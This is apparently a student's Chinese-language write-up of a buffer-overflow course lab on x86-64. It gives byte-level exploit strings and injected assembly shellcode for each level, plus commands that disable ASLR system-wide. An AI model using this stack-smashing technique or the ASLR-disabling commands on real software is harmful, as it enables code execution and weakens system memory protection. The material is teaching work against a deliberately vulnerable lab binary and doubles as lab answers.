(大概是 Lab 三部曲)
Intro
引言的话我想推荐大家先去看 Ricter 菊苣的一篇文章:缓冲区溢出的 Hello World。
这篇文章的话讲的是 32 位的软娘插屁系统下的缓存区溢出,所以你看到的寄存器还是 eax
、ebx
等等。
今天给大家介绍的话还是主要是通过 64 位系统下的操作。毕竟寄存器数量翻了一番,位数也翻了一番,效率也更高了。最最最不同的就是汇编的代码也就是实现方式不同了。这里的话先讲一点基础知识(「・ω・)「。
关于寄存器
-
之前提到过,每个寄存器也是从 32 位升级到了 64 位。对于 64 位的寄存器
%rax
,它的后 32 位就相当于原来的%eax
。 -
新增了 8 个用于存放参数和临时变量的寄存器
%r8
~r15
。它们的后 32 位可用作%r8d
~%r15d
。 -
所有的寄存器可以按照 8/16/32/64 位读取和写入数据。
-
增加了寄存器,减少了
push
(压栈)和pop
(出栈)的次数。说明一下不同寄存器的作用:
-
%rax
:保存返回值。 -
%rdi
/%rsi
/%rdx
/%rcx
/%r8
/%r9
:保存参数,最多可以保存 6 个参数,大于 6 个采取同 32 位的做法压栈。 -
%r10
/%r11
:调用函数(Caller)保存调用前环境参数。 -
%rsp
:栈顶指针。 -
%rbp
:基址指针。 -
%rbx
:基地址。 -
%r12
~%r15
:被调用函数(Callee)的临时变量。
关于内存
- 分为运行时栈(Stack),堆(Heap),数据(Data)和指令(Text)四部分:
-
栈(Stack):8MB的限制大小(IA32)。
-
堆(Heap):动态分配,使用
malloc
/calloc
/new
函数。 -
数据(Data):静态分配,部分只读,部分可读写。
-
指令(Text):运行时机器指令,只读。
- 四部分在内存中的位置由高到低。
Level 0
最简单的 level 了。这个 level 前一定要把调用函数的机制搞懂。
Level 0 是希望在调用 test()
函数的时候利用内部的 getbuf()
使程序跳转到 smoke()
中继续执行。先来看看 getbuf()
函数的全貌:
buffer 的长度是 36 个 char,加上压栈时的 %rbx
和 %rbp
,前面一共占用 36 + 16 = 52 个 byte,最后是 8 位的 return address。所以答案就是:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 (36 char)
00 00 00 00 00 00 00 00 (%rbx)
00 00 00 00 00 00 00 00 (%rbp)
00 00 00 00 c0 10 40 00 (Return address,call smoke)
(注意小端表示)
Level 1
和 Level 0 的区别仅仅在于传递参数的时候有个 val
要替换成自己的 cookie。看一下调用的代码 fizz()
:
参数共 7 个,而且 val
正好是第 7 个。预备知识里面也提到了,对于一个函数最多可以在寄存器中存放 6 个参数,也就是说 val
此时是压栈存放的。类似于 Level 0,我们也就知道了 cookie 应该保存在哪里了:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 (36 char)
00 00 00 00 00 00 00 00 (%rbx)
00 00 00 00 00 00 00 00 (%rbp)
00 00 00 00 70 10 40 00 (Return address,call fizz)
00 00 00 00 (Alignment)
00 00 00 00 00 00 00 00 0b 43 71 79 17 a7 27 37 (unsigned long long)
这里 Alignment 的作用是为了让 unsigned long long 确保地址是 16 字节对齐。
Level 2
从这关开始越来越有难度了,Level 2 是第二天睡醒起来的下午时间做的。bang()
这个函数和上面的 fizz()
很像,只不过参数变成了全局变量 global_value
:
Hints 里面也提到了一些 tricks:
Do not attempt to use either a
jmp
or acall
instruction to jump to the code forbang()
. These instructions use PC-relative addressing, which is very tricky to set up correctly. Instead, push an address on the stack and use theretq
instruction.
不能通过 jmp
和 call
指令跳转,因为是和 Counter 相对寻址的。我们需要找到 bang()
的入口地址并且把 cookie
复制一份到 global_value
中。继续来看 bang()
函数的汇编函数:
找到我们需要的函数入口 0x401020
,cookie
的地址 0x602320
,global_value
的地址 0x602308
。这时我们需要写一段汇编来实现函数的跳转:
movabs 0x602320, %rax ;自己用的直接是立即数
movabs %rax, 0x602308
pushq $0x401020
retq
生成对应的 .d
文件:
gcc -c bang.s
objdump -d bang.o > bang.d
写出最后的答案:
48 b8 0b 43 71 79 17 a7 27 37 48 a3 08 23 60 00 00 00 00 00 68 20 10 40 00 c3 (attack code, 26 bytes)
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 (26 bytes)
00 00 a0 be ff ff ff 7f (%rax,where we read buffer)
Level 3
最后一关,啊哈,Instruction 上又很邪恶地(This style of attack is tricky)写出了要求:要更改 %rbp
和返回地址来实现攻击。最终是需要我们在 getbuf()
函数中返回我们的 cookie
来调用 test()
:
思想其实和上一题类似,也是要写一段 attack code:
movabs $0x3727a7177971430b, %rax ;复制cookie
movabs $0x7fffffffbf00, %rbp ;更改%rbp
pushq $0x400ef3 ;getbuf调用后的第一条指令,接着继续执行
retq
生成后写出答案:
48 b8 0b 43 71 79 17 a7 27 37 48 bd 00 bf ff ff ff 7f 00 00 68 f3 0e 40 00 c3 (attack code, 26 bytes)
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00(26 bytes)
00 00 a0 be ff ff ff 7f (%rax,where we start comparing)
撒花完工,55分到手~
Why Within Gdb
Instruction 在 Level 2 里面提到了这么一段话:
For level 2, you will need to run your exploit within gdb for it to succeed. (the VM has special memory protection that prevents execution of memory locations in the stack. Since gdb works a little differently, it will allow the exploit to succeed.)
Level 3 也同样有类似的话:
For level 3, you will need to run your exploit within gdb for it to succeed.
这是为什么呢?自己一开始表示很困惑,于是在 Forum 上提出了这个问题,很快就有个好心的同学回答了。
我们知道对于大多数 GNU/Linux 的发行版都有内存保护机制。其中有一种用来保护内存不被攻击的方法叫做 Address Space Layout Randomization(ASLR,位址空间配置随机加载)。位址空间配置随机加载利用随机方式配置资料位址,让某些敏感资料(例如操作系统内核)能配置到一个恶意程式未能事先得知的位址,令攻击者难于进行攻击。在系统中,ASLR 是默认开启的,而 gdb 则默认禁用了 ASLR。所以我们编译后的 bufbomb
中的地址是可以被确认的,这也就解释了为什么在 gdb 中可以改写全局变量。
如果想要在系统下执行,可以通过 sysctl kernel.randomize_va_space = 0
或者 echo 0 > /proc/sys/kernel/randomize_va_space
来解除 ASLR,但是这里肯定不推荐这么做/w\。
References
-
两篇在 32 位 Linux 下的解释也相当精彩:
-
当然还有 Ricter 菊苣的:
-
什么是 ASLR:
-
课本《深入理解计算机系统(原作第二版)》P180
-
GNU/Linux 下的缓存区溢出:
感谢观众姥爷们翻完了这篇毫无技术的文章。两次实验给自己带来了很多知识上的长进,甚至是做出来后的惊喜,也再一次深入了解了 C/C++ 的函数调用和 x86-64 下的汇编,算是对课堂知识的一次扩充。
如果有机会的话之后的 lab 作业也会写点总结的文章。恩就这样~